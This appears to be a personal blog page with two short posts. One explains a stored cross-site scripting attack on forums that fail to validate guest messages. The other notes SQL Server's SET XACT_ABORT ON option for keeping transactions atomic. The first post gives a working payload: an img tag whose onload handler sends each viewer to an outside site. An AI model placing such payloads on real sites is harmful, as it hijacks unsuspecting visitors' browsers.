junwei's profileRichard's footprint on ....PhotosBlogListsMore  |  Tools Help |
|
July 31 An xss samplescenario: some forums without input well validated and guest message is allowed to input.
step:leave the following code snippet
<img src="http://google.com/images/logo.gif" onload="window.location='http://kelekingone.spaces.msn.com'" />
and submit your message. result:each time this message viewed, it will bring you to http://kelekingone.spaces.msn.com. July 27 SET XACT_ABORT ONToday, when I viewed Duwamish source code, I found this sqlserver option. I remembered in my program I always checked the @@error variable and then made decision to make sure the atomicy of the whole transaction. Since there existed this SET XACT_ABORT ON option, I think it can be a better choice because of its elegence and simplicity. |
|
|
